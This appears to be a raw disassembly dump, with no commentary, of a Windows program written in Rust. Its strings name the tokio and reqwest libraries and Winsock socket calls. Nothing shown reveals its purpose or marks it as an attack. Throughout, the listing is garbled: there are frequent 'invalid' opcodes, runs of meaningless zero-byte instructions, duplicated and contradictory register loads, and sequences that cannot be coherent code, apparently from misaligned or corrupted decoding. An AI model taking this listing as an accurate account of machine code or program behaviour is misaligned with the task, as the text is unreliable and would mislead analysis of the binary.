add byte [rax], al
add al, ch
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax - 0x7d], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
add rcx, 0x4c98
call fcn.14006b990
nop
add rsp, 0x20
pop rbp
ret
sub esp, 0x48
add dword [rax], eax
add byte [rax + 0xc8b8], al
add byte [rdx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc dword [rax], eax
add byte [rax - 0x75], cl
clc
add byte [rax], al
add dh, byte [rbx + riz + 0x4c]
mov eax, dword [rbp - 8]
cmp byte [rax - 0x1000000], 0x50
adc byte [rax - 0x75], cl
clc
mov edx, dword [rcx + 0x90]
add byte [rax - 0x7f], cl
shl dword [rax + 0x48000000], 0x83
invalid
clc
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 0x18]
call fcn.14016bdc0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov ecx, dword [rbp - 8]
call fcn.14005e610
nop
add rsp, 0x28
pop rsi
pop rbp
ret
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rsi, qword [rbp - 0x10]
mov esi, dword [rbp - 0x10]
mov esi, dword [rbp - 0x10]
mov rcx, qword [rsi + 8]
call fcn.140029350
mov rcx, qword [rsi]
call sub.WS2_32.dll_closesocket
nop
add rsp, 0x28
pop rsi
pop rbp
ret
adc byte [rax - 0x73], cl
mov esi, 0x98
invalid
add byte [rax], al
add byte [rax - 0x77], cl
jge 0x140109e95
xchg byte [rax + 0x48000000], dh
mov ecx, dword [rsi + 0xb8]
sal byte [rbx + rax - 1], 0x50
sbb byte [rax - 0x75], cl
xchg al, al
add byte [rax], al
add byte [rax - 0x75], cl
mov cs, eax
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
xchg al, al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
call qword [rax + 0x18]
xor edx, edx
mov al, 1
add dword [rax - 0x75], ecx
lock cmpxchg byte [rcx], dl
push rdi
push r14
push rsi
push rdi
push rbx
mov eax, 0x7478
call fcn.140185c90
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x73e0], xmm6
mov qword [rbp + 0x73d8], 0xfffffffffffffffe
mov rdi, r8
invalid
mov r15, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x2650]
invalid
lea rcx, [0x1401ef0ac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbp + 0x73b0], rdx
jae 0x14010a034
add bh, bh
invalid
jae 0x14010a034
add bh, bh
loopne 0x14010a080
invalid
lea rcx, [rbp + 0x2650]
lea ecx, [rbp + 0x2650]
mov r8d, 0x2640
add byte [rax], al
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov ebx, dword [r15 + 0x2648]
add byte [rcx - 0x6535ff05], al
cmp ecx, dword [rdi]
invalid
add dword [rax], 0
invalid
lea rcx, [r15 + 0x2658]
mov r8d, 0x2640
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [r15 + 0x2658]
lea rcx, [rbp + 0x4c90]
add byte [rax], al
mov qword [rbp + 0x73c0], rdx
mov r8, rdi
call fcn.14010a7c0
movzx edi, byte [rbp + 0x4ca1]
cmp dil, 3
jne 0x14010a0a9
mov byte [rsi + 0x11], 3
mov al, 4
jmp 0x14010a578
movdqa xmm6, xmmword [rbp + 0x4c90]
mov bl, byte [rbp + 0x4ca0]
add byte [rbx + 0x4ca285], cl
add byte [rcx + 0x73c885], cl
add byte [rdi], cl
mov bh, 0x85
cmpsb byte [rsi], byte [rdi]
add byte [rax], r8b
add byte [rbx + 0x4ca285], cl
add byte [rcx + 0x73c885], cl
add byte [rdi], cl
mov bh, 0x85
cmpsb byte [rsi], byte [rdi]
add byte [rax], r8b
mov word [rbp + 0x73cc], ax
mov rcx, qword [rbp + 0x73c0]
call fcn.140108290
jmp 0x14010a557
mov r14, qword [r15 + 0x2640]
call fcn.140161f70
add rax, r14
jae 0x14010a15a
call fcn.140161f70
add rax, 0x38640900
jb 0x14010a5d3
mov r8d, edx
cmp edx, 0x3b9aca00
invalid
cmp esi, dword [rdx + 0x10]
inc rax
je 0x14010a5d3
add r8d, 0xc4653600
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x14010a5ed
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_time_sleep.rs
lea rcx, [rbp + 0x7340]
mov rdx, rax
call fcn.140177ea0
jmp 0x14010a1a5
mov r8d, edx
add r8d, ebx
cmp r8d, 0x3b9aca00
jb case.0x140110b91.274
inc rax
je 0x14010a0f3
add r8d, 0xc4653600
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
lea rcx, [rbp + 0x7340]
mov rdx, rax
call fcn.140177ea0
invalid
invalid
lea rbx, [rbp + 0x4c90]
lea rdx, [rbp + 0x2650]
mov r8d, 0x2640
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sbb al, bl
invalid
add byte [rdi], cl
adc byte [rbp + 0x7340], al
test dword [rax + 0x73], eax
add byte [rax], al
movups xmm1, xmmword [rbp + 0x7350]
movups xmm2, xmmword [rbp + 0x7360]
movups xmm3, xmmword [rbp + 0x7370]
movups xmmword [rbp + 0x72d0], xmm0
movups xmmword [rbp + 0x72e0], xmm1
movups xmmword [rbp + 0x72f0], xmm2
xchg ebp, eax
invalid
jb 0x14010a1f1
add byte [rdi], cl
adc dword [rbp + 0x7300], ebx
movups xmm0, xmmword [rbp + 0x7380]
movups xmmword [rbp + 0x7310], xmm0
test dword [rax], edx
jae 0x14010a206
invalid
test dword [rax], edx
jae 0x14010a206
add byte [rdi], cl
adc byte [rbp + 0x7390], al
movups xmm0, xmmword [rbp + 0x7390]
movups xmmword [rbp + 0x7320], xmm0
movdqu xmm0, xmmword [rbp + 0x73a0]
movdqu xmmword [rbp + 0x7330], xmm0
xor byte [rbx], dh
invalid
lea r14, [rbp - 0x60]
mov r8d, 0x26b0
mov rcx, r14
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rbp + 0x73b0]
mov al, reloc.WS2_32.dll_WSAStartup
add byte [rax], al
lea rcx, [r15 + 0x2658]
mov r8d, 0x26b0
add byte es:[rax], al
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [r15 + 0x2658]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
mov qword [rbp + 0x73c0], rdx
je 0x14010a2ce
test eax, eax
jne 0x14010a2f9
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov rdx, qword [rbp + 0x73c0]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0xfc], 0
setne cl
cmp byte [rax + 0xfd], 0
std
add byte [rax], al
add byte [rax], al
sete bl
and bl, cl
jmp 0x14010a2fb
invalid
xor ebx, ebx
lea rcx, [rbp + 0x4c90]
mov r8, rdi
call fcn.14010a7c0
mov rax, qword [rbp + 0x73b0]
test dword [rax + 0x4c000073], esi
lea edi, [rax + 0x4c98]
movzx r14d, byte [rbp + 0x4ca1]
cmp r14b, 3
jne 0x14010a3dd
add byte [rax], al
mov eax, dword [0x14023c30c]
add eax, 0x131fdc
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x14010a38d
clc
add dword [rsp + rax*2 - 0x7b], esi
sal byte [rbp + 0x72], 0x8b
add eax, 0x131fb9
test eax, eax
jne 0x14010a3bf
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
xchg ebx, eax
invalid
adc eax, dword [rax]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
xchg ebx, eax
invalid
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx edx, byte [rax + 0xfc]
add byte [rax], al
test dl, dl
sete cl
cmp byte [rax + 0xfd], 0
setne al
ror byte [rax], 0xc8
or bl, al
cmp bl, 1
add dword [rbp + 0x53], esi
mov rcx, r15
mov rdx, rdi
call fcn.1401780e0
fld qword [rsi]
add byte [rax + rax*8 + 0x100840f], al
add byte [rax], al
ror byte [rdi], 0x84
add byte [rcx], al
add byte [rax], al
mov byte [rsi + 0x11], 3
mov al, 3
jmp 0x14010a578
invalid
mov qword [rbp + 0x73d0], r15
movdqa xmm6, xmmword [rbp + 0x4c90]
invalid
movq mm6, qword [rbp + 0x4c90]
add byte [rdi], cl
mov dh, 0x9d
movabs al, byte [0x4ca2858b00004c]
mov eax, dword [rbp + 0x4ca2]
mov dword [rbp + 0x7340], eax
invalid
mov bh, 0x85
cmpsb byte [rsi], byte [rdi]
movzx ebx, byte [rbp + 0x4ca0]
mov eax, dword [rbp + 0x4ca2]
mov dword [rbp + 0x7340], eax
movzx eax, word [rbp + 0x4ca6]
add byte [rax], r8b
add byte [rsi - 0x77], ah
test dword [rbx + rsi*2], eax
add cl, ch
mov word [rbp + 0x7344], ax
jmp 0x14010a4dc
retf 0
invalid
retf 0
add byte [rax], al
add byte [rax + 0x73d095], cl
add byte [rbx + 0x131eee05], cl
add eax, 0x131eee
mov rcx, qword gs:[0x58]
mov byte [rbp + 0x73d0], dl
mov eax, dword [0x14023c30c]
add eax, 0x131eee
add eax, 0x131eee
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
mov byte [rax + 0xfc], 0
mov rcx, r15
mov rdx, rdi
call fcn.1401780e0
mov ebx, eax
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
add byte [rax], 1
add byte [rax], al
cmp eax, 1
movzx edi, byte [rbp + 0x73d0]
je 0x14010a4a9
test eax, eax
jne 0x14010a4ca
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov byte [rax + 0xfc], dil
mov byte [rax + 0xfd], 0
test bl, bl
jne 0x14010a3d2
mov qword [rbp + 0x73d0], r15
mov r14b, 3
movzx eax, word [rbp + 0x7344]
mov word [rbp + 0x73bc], ax
mov eax, dword [rbp + 0x7340]
mov dword [rbp + 0x73b8], eax
mov eax, 0x48000073
mov ecx, dword [rbp + 0x73c0]
call fcn.140108290
mov rcx, qword [rbp + 0x73d0]
call fcn.14006b990
mov dil, 2
cmp r14b, 2
je 0x14010a557
movzx eax, r14b
cmp eax, 3
jne case.0x1400af7b4.388
lea rax, [0x1401b91c8]
movq xmm0, rax
movdqa xmm6, xmmword [0x14018f680]
punpcklqdq xmm6, xmm0
jmp 0x14010a557
movzx eax, word [rbp + 0x73bc]
mov word [rbp + 0x73cc], ax
mov eax, dword [rbp + 0x73b8]
jae 0x14010a54d
add byte [rcx + 0x73c885], cl
add byte [rcx + rcx*4 - 9], al
jae 0x14010a54d
add byte [rcx + 0x73c885], cl
add byte [rcx + rcx*4 - 9], al
movdqu xmmword [rsi], xmm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], dil
mov eax, dword [rbp + 0x73c8]
jae 0x14010a567
invalid
mov dword [rsi + 0x12], eax
jae 0x14010a567
add byte [rcx - 0x48f0edba], cl
test esp, ecx
jae 0x14010a571
movzx eax, word [rbp + 0x73cc]
mov word [rsi + 0x16], ax
mov al, 1
add byte [rsi - 0x77], ah
invalid
mov rcx, qword [rbp + 0x73b0]
mov byte [rcx + 0x2650], al
mov rax, rsi
movaps xmm6, xmmword [rbp + 0x73e0]
add rsp, 0x7478
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
lea eax, [0x1401becd0]
lea eax, [0x1401becd0]
mov edx, 0x22
call fcn.140186b70
ud2
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401c1e50]
mov edx, 0x28
add byte [rax], al
call fcn.140186f60
jmp 0x14010a633
jne 0x14010a5b2
invalid
lea rax, str.overflow_in_Duration::new
mov qword [rbp + 0x4c90], rax
nop
add byte [rax], r8b
nop
add byte [rax], r8b
mov qword [rbp + 0x4c98], 1
lea rax, [0x1401ea218]
mov qword [rbp + 0x4ca0], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4ca8], xmm0
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_time.rs
lea rcx, [rbp + 0x4c90]
lea ecx, [rbp + 0x4c90]
call fcn.1401869b0
ud2
nop dword cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rsi + 0xf], ah
jg 0x14010a6d0
and al, 0x20
add byte [rsi + 0xf], ah
jg 0x14010a6d0
and al, 0x20
lea rcx, [rbp + 0x2650]
call fcn.140108290
movdqa xmm6, xmmword [rsp + 0x20]
movq mm6, qword [rsp + 0x20]
movq mm6, qword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rbp
ret
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rsi + 0xf], ah
jg 0x14010a750
and al, 0x20
mov rcx, qword [rbp + 0x73c0]
call fcn.14010f770
invalid
movdqa xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rsi + 0xf], ah
invalid
invalid
jg 0x14010a7d0
and al, 0x20
mov rcx, qword [rbp + 0x73c0]
call fcn.140108290
movdqa xmm6, xmmword [rsp + 0x20]
outsd dx, dword [rsi]
je 0x14010a793
and byte [rax - 0x7d], cl
invalid
cmp byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
pop rbp
ret
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
add byte [rax], 0
add byte [rsi + 0xf], ah
invalid
invalid
movdqa xmmword [rsp + 0x20], xmm6
jg 0x14010a810
and al, 0x20
mov rcx, qword [rbp + 0x73d0]
call fcn.14006b990
idiv bh
movdqa xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rbp
ret
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
mov eax, 0x2608
call fcn.140185c90
invalid
invalid
add al, ch
mov edx, 0x480007b4
invalid
add byte [rax + 0x29], cl
sub rsp, rax
invalid
sub rsp, rax
lea rbp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x14010a79a
invalid
movdqa xmmword [rbp + 0x2570], xmm6
mov ch, 0x70
and eax, 0xc7480000
add byte [rax - 0x39], cl
jo 0x14010a80c
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0x2568], 0xfffffffffffffffe
test dword [rax + 0x25], ebp
add byte [rax], al
invalid
mov rdi, r8
mov r12, rdx
mov esp, edx
mov esp, edx
mov qword [rbp + 0x2510], rcx
mov dword [rbp + 0x2510], ecx
movzx eax, byte [rdx + 0x2d2]
mov dh, 0x82
rol byte [rdx], cl
add byte [rax], al
lea rcx, [0x1401ef0c0]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
invalid
invalid
or dword [rax + 1], 0x958948c8
invalid
add eax, ecx
mov qword [rbp + 0x2560], rdx
add byte [rax], al
jmp rax
mov dword [r12 + 0x2d3], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x39], al
invalid
invalid
test byte [rsi + rdx*8], ah
add al, byte [rax]
mov dword [r12 + 0x2d6], 0
mov byte [r12 + 0x2d5], 1
invalid
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x3a], al
test byte [rdx*8 + 0x1000002], ah
invalid
add al, byte [rax]
add byte [rcx], al
mov byte [rsp + 0x2d5], 1
movups xmm0, xmmword [r12]
and al, 0x41
movups xmm1, xmmword [rsp + 0x10]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movups xmm3, xmmword [rsp + 0x30]
movups xmm3, xmmword [rsp + 0x30]
pop rsp
and al, 0x30
movups xmmword [r12 + 0x128], xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [r12 + 0x138], xmm1
adc dword [rsp + 0x138], ecx
add byte [rcx + 0xf], al
movups xmmword [r12 + 0x148], xmm2
adc dword [rsp + 0x148], edx
xchg esp, eax
and al, 0x48
add qword [rax], rax
add byte [rcx + 0xf], al
movups xmmword [r12 + 0x158], xmm3
adc dword [rsp + 0x158], ebx
movups xmm0, xmmword [r12 + 0x40]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [r12 + 0x168], xmm0
add byte [rax], al
movups xmm0, xmmword [r12 + 0x50]
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [r12 + 0x178], xmm0
movups xmm0, xmmword [r12 + 0x60]
movups xmm0, xmmword [rsp + 0x60]
add byte [rcx + 0xf], al
adc byte [rsp + 0x60], al
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [r12 + 0x188], xmm0
movups xmm0, xmmword [r12 + 0x70]
adc byte [rsp + 0x70], al
test byte [rax + rcx*4], ah
add dword [rax], eax
add byte [rcx + 0xf], al
adc byte [rsp + 0x70], al
movups xmmword [r12 + 0x198], xmm0
movups xmmword [rsp + 0x198], xmm0
mov rax, qword [r12 + 0x120]
mov qword [r12 + 0x1f8], rax
and al, 0xf8
add dword [rax], eax
add byte [rcx + 0xf], al
adc byte [rsp + 0x110], al
test byte [rax + rdx], ah
add dword [rax], eax
invalid
and al, 0x20
add dword [rax], eax
add byte [rcx - 0x77], cl
test byte [rax + rdi*8], ah
and al, 0xf8
and al, 0xf8
add dword [rax], eax
add byte [rcx + 0xf], al
adc byte [rsp + 0x110], al
test byte [rax + rdx], ah
add dword [rax], eax
invalid
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rcx + 0xf], al
adc dword [rsp + 0x1e8], eax
add dword [rax], eax
invalid
movups xmmword [r12 + 0x1e8], xmm0
add dword [rax], eax
add byte [rcx + 0xf], al
adc byte [rsp + 0x100], al
movups xmm0, xmmword [r12 + 0x100]
movups xmmword [r12 + 0x1d8], xmm0
and al, 0xd8
add dword [rax], eax
add byte [rcx + 0xf], al
adc byte [rsp + 0xf0], al
add byte [rax], al
invalid
movups xmm0, xmmword [r12 + 0xf0]
movups xmmword [r12 + 0x1c8], xmm0
add dword [rax], eax
add byte [rcx + 0xf], al
adc byte [rsp + 0xe0], al
movups xmm0, xmmword [r12 + 0xe0]
movups xmmword [r12 + 0x1b8], xmm0
movups xmm0, xmmword [r12 + 0xd0]
and al, 0xb8
add dword [rax], eax
add byte [rcx + 0xf], al
adc byte [rsp + 0xd0], al
movups xmmword [r12 + 0x1a8], xmm0
adc dword [rsp + 0x1a8], eax
mov dword [r12 + 0x2da], 0x1010101
movups xmm0, xmmword [r12 + 0x80]
movups xmm1, xmmword [r12 + 0x90]
movups xmm2, xmmword [r12 + 0xa0]
and al, 0x90
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rsp + 0xa0], dl
movups xmm3, xmmword [r12 + 0xb0]
movups xmmword [r12 + 0x200], xmm0
movups xmmword [r12 + 0x210], xmm1
movups xmmword [r12 + 0x220], xmm2
movups xmmword [r12 + 0x230], xmm3
adc dword [rsp + 0x230], ebx
adc dword [rsp + 0x230], ebx
movups xmm0, xmmword [r12 + 0xc0]
rol byte [rax], 0
add byte [rcx + 0xf], al
movups xmmword [r12 + 0x240], xmm0
movups xmmword [r12 + 0x240], xmm0
lea rcx, [r12 + 0x208]
lea rax, [r12 + 0x228]
lea eax, [rsp + 0x228]
add byte [rcx - 0x73], cl
test byte [rax + rbp], ah
add al, byte [rax]
add byte [rcx - 0x7d], cl
mov esp, 0x20024
invalid
cmp qword [r12 + 0x200], 0
add byte [rax], al
je case.0x1400def61.241
add byte [rax], al
mov byte [r12 + 0x2dd], 0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x1bf0], xmm1
invalid
invalid
sbb eax, dword [rax]
add byte [rdi], cl
sub dword [rbp + 0x1be0], eax
invalid
mov byte [r12 + 0x2dc], 0
mov rcx, qword [rax + 0x20]
mov qword [rbp + 0x1e90], rcx
nop
invalid
add byte [rax], al
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x1e80], xmm1
lea eax, [rax + 0xf00001e]
sub dword [rbp + 0x1e70], eax
add byte [rax], al
nop
invalid
add byte [rax], al
lea rdx, [0x1401beb58]
lea rcx, [rbp + 0x1c20]
lea r8, [rbp + 0x1be0]
call fcn.14010f7d0
jmp 0x14010abdb
lea r13, [r12 + 0x9c0]
lea rax, [r12 + 0x2e0]
mov qword [rbp + 0x2540], rax
and eax, 0xf410000
mov dh, 0x84
and al, 0xc0
or dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0xe46a9
and eax, 0xf410000
add byte [rcx + 0xf], al
mov dh, 0x84
and al, 0xc0
or dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0xe46a9
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movdqu xmm6, xmmword [r12 + 0x408]
mov rsi, qword [r12 + 0x418]
jmp 0x14010c76e
lea rsi, [r12 + 0x61c]
lea r13, [r12 + 0x2e0]
lea ebp, [rsp + 0x2e0]
invalid
movzx eax, byte [r12 + 0x61c]
sbb al, 6
add byte [rax], al
lea rcx, [0x1401ef100]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
movzx r14d, word [r12 + 0x618]
jmp 0x14010b555
mov r8, qword [r12 + 0x2e0]
mov rax, qword [r12 + 0x2e8]
lea rcx, [rbp + 0x1640]
mov rdx, r8
mov r8, rdi
call qword [rax + 0x18]
mov r15, qword [rbp + 0x1640]
cmp r15, 4
add al, 0x75
invalid
add al, 0x75
adc cl, byte [rax - 0x75]
test dword [rax], edx
adc byte [0x180d6aac0], ah
mov rax, qword [rbp + 0x2510]
mov byte [rax + 0x11], 3
invalid
adc byte [0x180d6aac0], ah
adc dword [rbx], eax
add esi, dword [rax + 0x2723e903]
add byte [rax], al
mov al, 3
jmp 0x14010d1ec
mov rbx, qword [rbp + 0x1648]
mov rsi, qword [rbp + 0x1650]
mov esi, dword [rbp + 0x1650]
lea rdx, [rbp + 0x1658]
lea rcx, [rbp + 0x648]
add byte [rcx - 0x48], al
adc byte [rcx], al
add byte [rax], al
pop rax
invalid
add byte [rcx - 0x48], al
adc byte [rcx], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x2560]
mov eax, dword [rbp + 0x2560]
mov eax, dword [rbp + 0x2560]
mov rcx, qword [rax + 0x2e0]
mov rax, qword [rax + 0x2e8]
add byte [rax - 0x77], cl
lea eax, [rax + 0x25]
add byte [rax], al
add byte [rax - 0x77], cl
lea eax, [rax + 0x25]
add byte [rax], al
mov qword [rbp + 0x2550], rax
add byte [rax], al
call qword [rax]
mov rax, qword [rbp + 0x2550]
mov eax, dword [rbp + 0x2550]
adc byte [rax - 0x75], cl
test dword [rax + 0x25], edx
add byte [rax], al
cmp qword [rax + 8], 0
je 0x14010b026
test bh, bh
add al, 0
add byte [rax - 0x7d], cl
js 0x14010ab3b
cmp qword [rax + 0x10], 0x11
jae 0x14010b00c
invalid
adc dword [rdi], ecx
sbb edx, 4
add byte [rax], al
invalid
mov r8, qword [rbp + 0x2540]
jmp 0x14010b017
add al, 0
add byte [rcx - 0x73], cl
xchg esp, eax
and al, 0x90
nop
lea rdx, [r12 + 0x790]
nop
invalid
lea rbx, [r12 + 0x420]
movzx eax, byte [r12 + 0x790]
lea rcx, [0x1401ef0ec]
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbp + 0x2418], rdx
jmp rax
or dword [rax + 1], 0x958948c8
sbb byte [rax + rax], ah
add bh, bh
jmp rax
invalid
mov r12, qword [rbp + 0x2560]
mov esp, dword [rbp + 0x2560]
add cl, ch
cmp ebx, dword [rax + rax]
add byte [rcx - 0x3a], al
invalid
invalid
test byte [rbx + rbx*8], ah
add al, byte [rax]
jmp 0x14010c7b5
mov byte [r12 + 0x2db], 0
add byte [rax], al
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
adc byte [r15], cl
sub dword [rbp + 0x1c10], ecx
adc byte [r15], cl
sub dword [rbp + 0x1c10], ecx
movaps xmmword [rbp + 0x1c00], xmm0
sbb al, 0
add byte [rcx - 0x3a], al
mov byte [r12 + 0x2da], 0
mov byte [r12 + 0x2da], 0
mov rcx, qword [rax + 0x20]
mov qword [rbp + 0x1e90], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x1e80], xmm1
movaps xmmword [rbp + 0x1e70], xmm0
invalid
add byte [rax], al
sub dword [rbp + 0x1e70], eax
lea rdx, [0x1401be568]
lea rcx, [rbp + 0x1c20]
lea r8, [rbp + 0x1c00]
call fcn.14010f7d0
mov rax, qword [rbp + 0x1e90]
mov qword [rbp + 0x16b8], rax
movaps xmm0, xmmword [rbp + 0x1e70]
movaps xmm1, xmmword [rbp + 0x1e80]
movups xmmword [rbp + 0x16a8], xmm1
movups xmmword [rbp + 0x1698], xmm0
movups xmm0, xmmword [rbp + 0x1c20]
movups xmm1, xmmword [rbp + 0x1c30]
movups xmm2, xmmword [rbp + 0x1c40]
movups xmm3, xmmword [rbp + 0x1c50]
movaps xmmword [rbp + 0x1640], xmm0
movaps xmmword [rbp + 0x1650], xmm1
movaps xmmword [rbp + 0x1660], xmm2
movaps xmmword [rbp + 0x1670], xmm3
movups xmm0, xmmword [rbp + 0x1c60]
movaps xmmword [rbp + 0x1680], xmm0
test dword [rax + 0x48000016], eax
mov eax, dword [rbp + 0x1c70]
mov qword [rbp + 0x1690], rax
mov r12, qword [rbp + 0x2560]
lea rax, [r12 + 0x128]
mov byte [r12 + 0x2d9], 1
mov rcx, qword [rbp + 0x1690]
mov ecx, dword [rbp + 0x1690]
mov qword [rbp + 0x2360], rcx
movaps xmm0, xmmword [rbp + 0x1680]
invalid
add byte [rax], al
movaps xmmword [rbp + 0x2350], xmm0
movaps xmm0, xmmword [rbp + 0x1640]
movaps xmm1, xmmword [rbp + 0x1650]
movaps xmm2, xmmword [rbp + 0x1660]
invalid
invalid
add byte [rax], al
movaps xmm3, xmmword [rbp + 0x1670]
movaps xmmword [rbp + 0x2340], xmm3
add byte [rax], al
invalid
add byte [rax], al
movaps xmmword [rbp + 0x2330], xmm2
movaps xmmword [rbp + 0x2320], xmm1
